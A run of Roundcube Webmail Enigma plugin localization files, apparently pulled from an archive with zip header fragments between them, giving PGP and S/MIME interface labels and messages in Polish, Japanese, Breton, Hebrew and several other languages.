$labels['identitymatchingprivkeys'] = 'Masz $nr pasujących kluczy prywatnych PGP w bazie kluczy.';
$labels['identitynoprivkeys'] = 'Brak klucza prywatnego PGP dla wybranej tożsamości nadawcy.';
$labels['arialabelkeyexportoptions'] = 'Opcje eksportu kluczy';
$labels['arialabelkeysearchform'] = 'Formularz wyszukiwania kluczy';
$labels['arialabelkeyoptions'] = 'Opcje kluczy';
$messages['sigvalid'] = 'Zweryfikowany podpis nadawcy $sender.';
$messages['sigvalidpartial'] = 'Zweryfikowany podpis od $sender, ale część wiadomości nie została podpisana.';
$messages['siginvalid'] = 'Błędny podpis nadawcy $sender.';
$messages['sigunverified'] = 'Podpis niezweryfikowany. Certyfikat niezweryfikowany. ID certyfikatu: $keyid.';
$messages['signokey'] = 'Podpis niezweryfikowany. Brak klucza publicznego. ID klucza: $keyid.';
$messages['sigerror'] = 'Podpis niezweryfikowany. Błąd wewnętrzny.';
$messages['decryptok'] = 'Wiadomość odszyfrowana.';
$messages['decrypterror'] = 'Nie udało się odszyfrować wiadomości.';
$messages['decryptnokey'] = 'Odszyfrowanie nie powiodło się. Brak klucza prywatnego. ID klucza: $keyid.';
$messages['decryptnomdc'] = 'Pominięto szyfrowanie. Wiadomość nie posiada ochrony integralności.';
$messages['decryptbadpass'] = 'Odszyfrowanie nie powiodło się. Hasło jest nieprawidłowe.';
$messages['decryptnopass'] = 'Odszyfrowanie nie powiodło się. Hasło jest wymagane.';
$messages['decryptpartial'] = 'Wiadomość odszyfrowana, ale jej część nie była zaszyfrowana.';
$messages['signerror'] = 'Błąd podpisywania.';
$messages['signnokey'] = 'Błąd podpisywania. Nie znaleziono klucza prywatnego.';
$messages['signbadpass'] = 'Błąd podpisywania. Hasło jest nieprawidłowe.';
$messages['signnopass'] = 'Błąd podpisywania. Wymagane hasło klucza.';
$messages['encrypterror'] = 'Błąd szyfrowania.';
$messages['encryptnokey'] = 'Błąd szyfrowania. Nie znaleziono klucza publicznego dla $email.';
$messages['encryptnoprivkey'] = 'Błąd szyfrowania. Nie znaleziono klucza prywatnego.';
$messages['nokeysfound'] = 'Nie znaleziono kluczy';
$messages['keynotfound'] = 'Nie znaleziono klucza!';
$messages['keyopenerror'] = 'Nie można odczytać informacji o kluczu! Błąd wewnętrzny.';
$messages['keylisterror'] = 'Nie można odczytać listy kluczy! Błąd wewnętrzny.';
$messages['keysimportfailed'] = 'Nie można zapisać kluczy! Błąd wewnętrzny.';
$messages['keysimportsuccess'] = 'Klucze zostały zapisane. Dodane: $new, bez zmian: $old.';
$messages['keyremoving'] = 'Usuwanie kluczy...';
$messages['keyremoveconfirm'] = 'Czy na pewno chcesz usunąć wybrane klucze?';
$messages['keyremovesuccess'] = 'Klucze zostały usunięte.';
$messages['keyremoveerror'] = 'Nie można usunąć wybranych kluczy.';
$messages['keyimporttext'] = 'Możesz zaimportować klucze prywatne i publiczne oraz sygnatury unieważniające w formacie ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Możesz wyszukiwać przy użyciu identyfikatora klucza, nazwy użytkownika lub adresu email, a następnie bezpośrednio zaimportować wyszukane klucze.';
$messages['keystoragenotice'] = 'Wszystkie klucze publiczne i prywatne są przechowywane na serwerze.';
$messages['formerror'] = 'Proszę wypełnić formularz. Wszystkie pola są wymagane!';
$messages['passwordsdiffer'] = 'Hasła nie pasują!';
$messages['keygenerateerror'] = 'Generowanie pary kluczy nie powiodło się';
$messages['keygeneratesuccess'] = 'Para kluczy została zapisana.';
$messages['keygennosupport'] = 'Twoja przeglądarka nie obsługuje kryptografii. Nie można wygenerować kluczy!';
$messages['noidentselected'] = 'Należy wybrać przynajmniej jedną tożsamość!';
$messages['nonameident'] = 'Tożsamość musi zawierać nazwę użytkownika!';
$labels['newkeysize'] = 'Rozmiar klucza';
$labels['key2048'] = '2048 bitów - domyślnie';
$labels['key4096'] = '4096 bitów - bardziej bezpiecznie';
PKh�\�Ki�%plugins/enigma/localization/mr_IN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'निर्माण केलेले';
$labels['expiresnever'] = 'कधीच नाही';
$labels['unknown'] = 'माहित नसलेला';
$labels['newkeypass'] = 'परवलीचा शब्द';
PKh�\�'��"�"%plugins/enigma/localization/ja_JP.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = '暗号化';
$labels['enigmacerts'] = 'S/MIME証明書';
$labels['enigmakeys'] = 'PGPのキー';
$labels['keysfromto'] = '$count の $from から $to へのキー';
$labels['keyname'] = '名前';
$labels['keyid'] = 'キーID';
$labels['keyuserid'] = 'ユーザーID';
$labels['keytype'] = 'キーの種類';
$labels['fingerprint'] = 'フィンガープリント';
$labels['subkeys'] = '副キー';
$labels['keyprops'] = 'キーの属性';
$labels['basicinfo'] = '基本情報';
$labels['userids'] = '追加のユーザー';
$labels['typepublickey'] = '公開鍵';
$labels['typekeypair'] = '鍵ペア';
$labels['keyattfound'] = 'このメッセージは同封したPGPのキーを含んでいます。';
$labels['keyattimport'] = 'キーをインポート';
$labels['typesign'] = '署名';
$labels['typeencrypt'] = '暗号化';
$labels['typecert'] = '証明書';
$labels['typeauth'] = '認証';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'アルゴリズム';
$labels['subkeycreated'] = '作成日時';
$labels['subkeyexpires'] = '期限切れ';
$labels['subkeyusage'] = '使用法';
$labels['expiresnever'] = 'しない';
$labels['unknown'] = '不明';
$labels['uservalid'] = '有効';
$labels['userid'] = 'ID';
$labels['valid'] = '有効';
$labels['supportencryption'] = 'メッセージの暗号化と署名';
$labels['supportsignatures'] = 'メッセージの署名を検証';
$labels['supportdecryption'] = 'メッセージの復号';
$labels['signdefault'] = 'すべてのメッセージを初期設定で署名';
$labels['encryptdefault'] = 'すべてのメッセージを初期設定で暗号化';
$labels['attachpubkeydefault'] = '初期設定で自分の公開鍵を添付';
$labels['passwordtime'] = 'プライベートキーのパスワードを以下の間保持: ';
$labels['nminutes'] = '$m分';
$labels['wholesession'] = 'セッションの間中';
$labels['createkeys'] = '新しい鍵ペアを作成';
$labels['importkeys'] = 'キーをインポート';
$labels['exportkeys'] = 'キーをエクスポート';
$labels['keyactions'] = 'キーの操作...';
$labels['keyremove'] = '削除';
$labels['keydisable'] = '無効化';
$labels['keyrevoke'] = '廃止';
$labels['keysend'] = 'メッセージ中に公開鍵を送信';
$labels['keychpass'] = 'パスワードを変更';
$labels['keyadd'] = 'キーを追加';
$labels['newkeyident'] = '識別情報';
$labels['newkeypass'] = 'パスワード';
$labels['newkeypassconfirm'] = 'パスワードの確認';
$labels['newkeytype'] = 'キーの種類';
$labels['rsa2048'] = 'RSA - 2048ビット';
$labels['rsa4096'] = 'RSA - 4096ビット';
$labels['ecckeypair'] = 'ECC(楕円曲線暗号)';
$labels['keygenerating'] = 'キーを精製中...';
$labels['encryptionoptions'] = '暗号のオプション...';
$labels['encryptmsg'] = 'このメッセージを暗号化';
$labels['signmsg'] = 'このメッセージに電子署名';
$labels['sendunencrypted'] = '暗号化しないで送信';
$labels['enterkeypasstitle'] = 'キーのパスフレーズを入力';
$labels['enterkeypass'] = 'ユーザー: $userの秘密鍵($keyid)の解除にパスフレーズが必要です。';
$labels['attachpubkeymsg'] = '公開鍵を添付';
$labels['keyexportprompt'] = '保存したOpenPGPのキーファイルに秘密鍵も含めますか?';
$labels['onlypubkeys'] = '公開鍵だけエクスポート';
$labels['withprivkeys'] = '秘密鍵をエクスポート';
$labels['findkey'] = 'キーサーバーで検索';
$labels['keyimportlabel'] = 'ファイルからインポート';
$labels['keyimportsearchlabel'] = 'キーサーバーで検索';
$labels['managekeys'] = 'PGPの鍵を管理';
$labels['identitymatchingprivkeys'] = 'キーリングに$nr個の合致するPGPのプライベートキー:';
$labels['identitynoprivkeys'] = 'この送信者の識別へのPGP秘密鍵はキーリングにまだありません。';
$labels['arialabelkeyexportoptions'] = 'キーのエクスポートのオプション';
$labels['arialabelkeysearchform'] = 'キーを検索:';
$labels['arialabelkeyoptions'] = 'キーのオプション';
$messages['sigvalid'] = '$senderからの署名を検証しました。';
$messages['sigvalidpartial'] = '$senderからの署名を検証しましたが、本文の一部は署名されていません。';
$messages['siginvalid'] = '$senderからの署名は正しくありません。';
$messages['sigunverified'] = '署名を検証できません。証明書を検証できません。証明書ID: $keyid';
$messages['signokey'] = '署名を検証できません。次の公開鍵がありません: $keyid';
$messages['sigerror'] = '署名を検証できません。内部エラーです。';
$messages['decryptok'] = 'メッセージを復号しました。';
$messages['decrypterror'] = '復号できませんでした。';
$messages['decryptnokey'] = '復号できませんでした。次のキーIDの秘密鍵がありません: $keyid';
$messages['decryptnomdc'] = '復号を省きました。メッセージは完全な状態で保護されていません。';
$messages['decryptbadpass'] = '復号できませんでした。パスワードが正しくありません。';
$messages['decryptnopass'] = '復号できませんでした。キーのパスワードが必要です。';
$messages['decryptpartial'] = 'メッセージを復号しました。しかし、本文の一部は暗号化していませんでした。';
$messages['signerror'] = '署名できませんでした。';
$messages['signnokey'] = '署名できませんでした。秘密鍵がありません。';
$messages['signbadpass'] = 'サインインできませんでした。パスワードが正しくありません。';
$messages['signnopass'] = '署名できませんでした。キーのパスワードが必要です。';
$messages['encrypterror'] = '暗号化できませんでした。';
$messages['encryptnokey'] = '暗号化できませんでした。$emailへの公開鍵がありません。';
$messages['encryptnoprivkey'] = '暗号化できませんでした。秘密鍵がありません。';
$messages['nokeysfound'] = 'キーがありません。';
$messages['keynotfound'] = 'キーがありません!';
$messages['keyopenerror'] = 'キーの情報を取得できません!  内部エラーです。';
$messages['keylisterror'] = 'キーの一覧をできません!  内部エラーです。';
$messages['keysimportfailed'] = 'キーをインポートできません!  内部エラーです。';
$messages['keysimportsuccess'] = 'キーをインポートしました。$new個を新規に、$old個は変更していません。';
$messages['keyremoving'] = 'キーを削除中...';
$messages['keyremoveconfirm'] = '本当に!  秘密鍵を削除しますか?';
$messages['keyremovesuccess'] = '鍵を削除しました。';
$messages['keyremoveerror'] = '秘密鍵を削除できません。';
$messages['keyimporttext'] = '秘密鍵と公開鍵、または失効署名はASCII-Armor形式でインポートできます。';
$messages['keyimportsearchtext'] = 'キーの識別子、ユーザー名、電子メールアドレスのいずれかで公開鍵を検索して、直接インポートできます。';
$messages['keystoragenotice'] = 'すべての公開鍵と秘密鍵をサーバーに保管しています。';
$messages['formerror'] = '項目を入力してください。すべての項目は必須です!';
$messages['passwordsdiffer'] = 'パスワードが一致しません!';
$messages['keygenerateerror'] = '鍵ペアを生成できませんでした。';
$messages['keygeneratesuccess'] = '鍵ペアを生成してインポートしました。';
$messages['keygennosupport'] = 'Webブラウザーが暗号機能をサポートしていません。鍵ペアを生成できません!';
$messages['noidentselected'] = 'キーのための識別情報を少なくとも1つ選択しなければなりません!';
$messages['nonameident'] = '識別情報にはユーザー名が必須です!';
$labels['newkeysize'] = '鍵の大きさ';
$labels['key2048'] = '2048ビット(初期設定)';
$labels['key4096'] = '4096ビット(より安全)';
PKh�\��+~~"plugins/enigma/localization/ps.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'هېڅ';
$labels['unknown'] = 'نامعلوم';
$labels['newkeypass'] = 'پټنوم';
PKh�\��0��%plugins/enigma/localization/nn_NO.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'Laga';
$labels['expiresnever'] = 'aldri';
$labels['unknown'] = 'ukjent';
$labels['newkeypass'] = 'Passord';
PKh�\ܜ�½�#plugins/enigma/localization/ast.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nome';
$labels['subkeycreated'] = 'Creáu';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconocíu';
$labels['newkeypass'] = 'Contraseña';
PKh�\�.��YY#plugins/enigma/localization/kab.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['unknown'] = 'arussin';
$labels['keychpass'] = 'Beddel awal uffir';
PKh�\�_aa%plugins/enigma/localization/sr_CS.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Име';
$labels['keyid'] = 'ИД кључа';
$labels['typeencrypt'] = 'Шифруј';
$labels['subkeycreated'] = 'Направљено';
$labels['expiresnever'] = 'никад';
$labels['unknown'] = 'непознато';
$labels['keychpass'] = 'Измени лозинку';
$labels['newkeypass'] = 'Лозинка';
PKh�\��'��%plugins/enigma/localization/lb_LU.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Numm';
$labels['subkeycreated'] = 'Erstallt';
$labels['expiresnever'] = 'ni';
$labels['unknown'] = 'onbekannt';
$labels['newkeypass'] = 'Passwuert';
PKh�\�5W��%plugins/enigma/localization/fa_AF.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'ایجاد شد';
$labels['expiresnever'] = 'هیچگاه';
$labels['unknown'] = 'نا شناس';
$labels['newkeypass'] = 'شفر';
PKh�\�s~xmm"plugins/enigma/localization/br.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Enrinegañ';
$labels['enigmacerts'] = 'Testenioù S/MIME';
$labels['enigmakeys'] = 'Alc\'hwezioù PGP';
$labels['keysfromto'] = 'Alc\'hwezioù $from da $to war $count';
$labels['keyname'] = 'Anv';
$labels['keyid'] = 'Naoudi an alc\'hwez';
$labels['keyuserid'] = 'Naoudi an arveriad';
$labels['keytype'] = 'Rizh an alc\'hwez';
$labels['fingerprint'] = 'Roudoù-biz';
$labels['subkeys'] = 'Is-alc\'hwez';
$labels['basicinfo'] = 'Titouroù diazez';
$labels['userids'] = 'Arveriaded ouzhpenn';
$labels['typepublickey'] = 'alc\'hwez foran';
$labels['typekeypair'] = 'daouad alc\'hwezioù';
$labels['keyattfound'] = 'Alc\'hwezioù PGP a zo staget d\'ar gemennadenn-mañ.';
$labels['keyattimport'] = 'Enporzhiañ an alc\'hwez(ioù)';
$labels['typesign'] = 'Sinañ';
$labels['typeencrypt'] = 'Enrinegañ';
$labels['typecert'] = 'Testeniañ';
$labels['typeauth'] = 'Dilesa';
$labels['subkeyid'] = 'Naoudi';
$labels['subkeyalgo'] = 'Treol';
$labels['subkeycreated'] = 'Krouet';
$labels['subkeyexpires'] = 'Diamzeriñ';
$labels['subkeyusage'] = 'Arver';
$labels['expiresnever'] = 'morse';
$labels['unknown'] = 'dianav';
$labels['uservalid'] = 'Talvoudek';
$labels['userid'] = 'Naoudi';
$labels['valid'] = 'talvoudek';
$labels['supportencryption'] = 'Gweredekaat enrinegañ ha sinañ ar c\'hemennadennoù';
$labels['supportsignatures'] = 'Gweredekaat gwiriañ sinadur ar c\'hemennadennoù';
$labels['supportdecryption'] = 'Gweredekaat ezrinegañ ar c\'hemennadennoù';
$labels['signdefault'] = 'Sinañ an goll gemennadennoù dre ziouer';
$labels['encryptdefault'] = 'Enrinegañ an holl gemennadennoù dre ziouer ';
$labels['attachpubkeydefault'] = 'Kenstagañ ma alc\'hwez foran PGP dre ziouer';
$labels['passwordtime'] = 'Mirout gerioù-tremen an alc\'hwezioù prevez e-pad ';
$labels['nminutes'] = '$m a vunutennoù';
$labels['wholesession'] = 'an estez a-bezh';
$labels['createkeys'] = 'Krouiñ un daouad alc\'hwezioù nevez';
$labels['importkeys'] = 'Enporzhiañ un alc\'hwez';
$labels['exportkeys'] = 'Ezporzhiañ un alc\'hwez';
$labels['keyactions'] = 'Gweredoù an alc\'hwez...';
$labels['keyremove'] = 'Dilemel';
$labels['keydisable'] = 'Diweredekaat';
$labels['keyrevoke'] = 'Dizorniañ';
$labels['keysend'] = 'Kas an alc\'hwez foran en ur gemennadenn';
$labels['keychpass'] = 'Kemmañ ar ger-tremen';
$labels['newkeypass'] = 'Ger-Tremen';
$labels['newkeytype'] = 'Rizh an alc\'hwez';
$labels['keygenerating'] = 'O c\'henel an alc\'hwezioù...';
$labels['encryptionoptions'] = 'Dibarzhioù enrinegañ...';
$labels['encryptmsg'] = 'Enrinegañ ar gemennadenn-mañ';
$labels['signmsg'] = 'Sinañ ent niverel ar gemennadenn-mañ';
$labels['enterkeypasstitle'] = 'Enankañ frazenn-dremen an alc\'hwez';
$labels['enterkeypass'] = 'Ur frazenn-dremen a zo dleet evit dibrennañ an alc\'hwez prevez ($keyid= evit an arveriad: $user';
$labels['attachpubkeymsg'] = 'Stagañ ma alc\'hwez foran';
$labels['keyexportprompt'] = 'Fellout a ra deoc\'h enkorfañ an alc\'hwezioù kuzh er restr alc\'hwezioù OpenPGP enrollet?';
$labels['onlypubkeys'] = 'Ezporzhiañ an alc\'hwezhioù foran hepken';
$labels['withprivkeys'] = 'Ezporzhiañ an alc\'hwezioù kuzh';
$labels['findkey'] = 'Klask war an dafariad(où) alc\'hwezioù';
$labels['keyimportsearchlabel'] = 'Klask war an dafariad(où) alc\'hwezioù';
$labels['arialabelkeyexportoptions'] = 'Dibarzhioù ezporzhiañ an alc\'hwezioù';
$messages['sigvalid'] = 'Sinadur gwiriet a-berzh $sender.';
$messages['sigvalidpartial'] = 'Sinadur gwiriet a-berzh $sender, met ul lodenn eus ar c\'horf n\'eo ket enrineget.';
$messages['siginvalid'] = 'Sinadur didalvoudek a-berzh $sender.';
$messages['sigunverified'] = 'Sinadur amwiriet. testeni amwiriet. Naoudi an testeni: $keyid.';
$messages['signokey'] = 'Sinadur amwiriet. Alc\'hwez foran ebet kavet. Naoudi an alc\'hwez: $keyid.';
$messages['sigerror'] = 'Sinadur amwiriet. Fazi diabarzh.';
$messages['decryptok'] = 'Kemennadenn ezrineget.';
$messages['decrypterror'] = 'Ezrinegañ c\'hwitet.';
$messages['decryptnokey'] = 'Ezrinegañ c\'hwitet. Alc\'hwez prevez ebet kavet. Naoudi an alc\'hwez: $keyid.';
$messages['decryptnopass'] = 'Ezrinegañ c\'hwitet. Frazenn-dremen azgoulennet.';
$messages['decryptpartial'] = 'Kemennadenn ezrineget, met ul lodenn eus ar c\'horf ne oa ket enrineget.';
$messages['signerror'] = 'Sinadur c\'hwitet.';
$messages['signnokey'] = 'Sinadur c\'hwitet. Alc\'hwez prevez ebet kavet.';
$messages['signnopass'] = 'Sinadur c\'hwitet. Frazenn-dremen azgoulennet.';
$messages['encrypterror'] = 'Enrinegañ c\'hwitet.';
$messages['encryptnokey'] = 'Enrinegañ c\'hwitet. N\'eo ket bet kavet an alc\'hwez foran evit $email.';
$messages['nokeysfound'] = 'Alc\'hwez ebet kavet';
$messages['keynotfound'] = 'N\'eo ket bet kavet an alc\'hwez!';
$messages['keyopenerror'] = 'N\'haller ket kaout titouroù an alc\'hwez! Fazi diabarzh.';
$messages['keylisterror'] = 'N\'haller ket rollañ an alc\'hwezioù! Fazi diabarzh.';
$messages['keysimportfailed'] = 'N\'haller ket enporzhiañ an alc\'hwez(ioù)! Fazi diabarzh.';
$messages['keysimportsuccess'] = 'Alc\'hwez(ioù) enporzhiet gant berzh. Enporzhiet: $new, digemm: $old.';
$messages['keyremoving'] = 'O tilemel an alc\'hwez(ioù)...';
$messages['keyremoveconfirm'] = 'Fellout a ra deoc\'h dilemel an alc\'hwez(ioù) diuzet?';
$messages['keyremovesuccess'] = 'Alc\'hwez(ioù) dilamet gant berzh';
$messages['keyremoveerror'] = 'N\'haller ket dilemel an alc\'hwez(ioù) diuzet.';
$messages['keyimporttext'] = 'Gallout a rit enporzhiañ alc\'hwez(ioù) foran ha prevez pe sinadurioù dizorniañ er mentrezh ASCII-Armor.';
$messages['formerror'] = 'Ret eo leuniañ ar furmskrid. An holl vaeziennoù a zo dleet!';
$messages['passwordsdiffer'] = 'Ne glot ket ar gerioù-tremen!';
$messages['keygenerateerror'] = 'C\'hwitadenn war ganedigezh un daouad alc\'hwezhioù';
$messages['keygeneratesuccess'] = 'Ganet hag enporzhiet eo bet un daouad alc\'hwezioù gant berzh. ';
$messages['keygennosupport'] = 'N\'eo ket skoret an enrinegañ gant ho merdeer web. N\'haller ket genel un alc\'hwez nevez.';
$messages['nonameident'] = 'Ret eo d\'ar pivelezh kaout un anv arveriad despizet!';
$labels['key2048'] = '2048 bit - dre ziouer';
$labels['key4096'] = '4096 bit - diogeloc\'h';
PKh�\�
�G��%plugins/enigma/localization/ka_GE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'სახელი';
$labels['expiresnever'] = 'არასდროს';
$labels['unknown'] = 'უცნობი';
$labels['newkeypass'] = 'პაროლი';
PKh�\����ss%plugins/enigma/localization/mk_MK.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Име ';
$labels['keyid'] = 'Клуч ID';
$labels['typeencrypt'] = 'Енкриптирај ';
$labels['subkeycreated'] = 'Создадени ';
$labels['expiresnever'] = 'никогаш';
$labels['unknown'] = 'Непознато ';
$labels['keychpass'] = 'Променете лозинка';
$labels['newkeypass'] = 'Лозинка';
PKh�\�H�gg%plugins/enigma/localization/kn_IN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'ಹೆಸರು';
$labels['newkeypass'] = 'ರಹಸ್ಯ ಪದ';
PKh�\����%plugins/enigma/localization/km_KH.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'បាន​បង្កើត';
$labels['expiresnever'] = 'មិនដែល';
$labels['unknown'] = 'មិន​ស្គាល់';
$labels['newkeypass'] = 'ពាក្យសំងាត់';
PKh�\�_X��%plugins/enigma/localization/mn_MN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'Үүссэн';
$labels['unknown'] = 'мэдэгдэхгүй';
$labels['keychpass'] = 'Нууц үг солих';
$labels['newkeypass'] = 'Нууц үг';
PKh�\l�Mv$v$%plugins/enigma/localization/he_IL.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'הצפנה';
$labels['enigmacerts'] = 'תעודות מאושרות S/MIME';
$labels['enigmakeys'] = 'מפתחות PGP';
$labels['keysfromto'] = 'מפתחות from$ עד to$ מתוך count$';
$labels['keyname'] = 'שם';
$labels['keyid'] = 'זיהוי מפתח';
$labels['keyuserid'] = 'זיהוי משתמש';
$labels['keytype'] = 'סוג מפתח';
$labels['fingerprint'] = 'טביעת אצבע';
$labels['subkeys'] = 'תת מפתח';
$labels['keyprops'] = 'אופיינים של המפתח';
$labels['basicinfo'] = 'מידע בסיסי';
$labels['userids'] = 'משתמשים נוספים';
$labels['typepublickey'] = 'מפתח ציבורי';
$labels['typekeypair'] = 'צמד מפתחות';
$labels['keyattfound'] = 'הצרופה מכילה מפתח PGP אחד או יותר';
$labels['keyattimport'] = 'ייבוא מפתח אחד או יותר';
$labels['typesign'] = 'לחתום';
$labels['typeencrypt'] = 'להצפין';
$labels['typecert'] = 'לאשר';
$labels['typeauth'] = 'וידוא מקוריות';
$labels['subkeyid'] = 'קוד זיהוי';
$labels['subkeyalgo'] = 'אלגוריתם';
$labels['subkeycreated'] = 'נוצר';
$labels['subkeyexpires'] = 'פג תוקף';
$labels['subkeyusage'] = 'שימוש';
$labels['expiresnever'] = 'אף פעם';
$labels['unknown'] = 'לא ידוע';
$labels['uservalid'] = 'בתוקף';
$labels['userid'] = 'קוד זיהוי';
$labels['valid'] = 'בתוקף';
$labels['supportencryption'] = 'הפעלה של הצפנת הודעה וחתימתה';
$labels['supportsignatures'] = 'הפעלה של וידוא חתימות הודעה';
$labels['supportdecryption'] = 'הפעלה של פיענוח הודעה';
$labels['signdefault'] = 'חתימה של כל הודעה כברירת מחדל';
$labels['encryptdefault'] = 'הצפנה של כל הודעה כברירת מחדל';
$labels['attachpubkeydefault'] = 'צירוף המפתח הציבורי שלי כברירת מחדל';
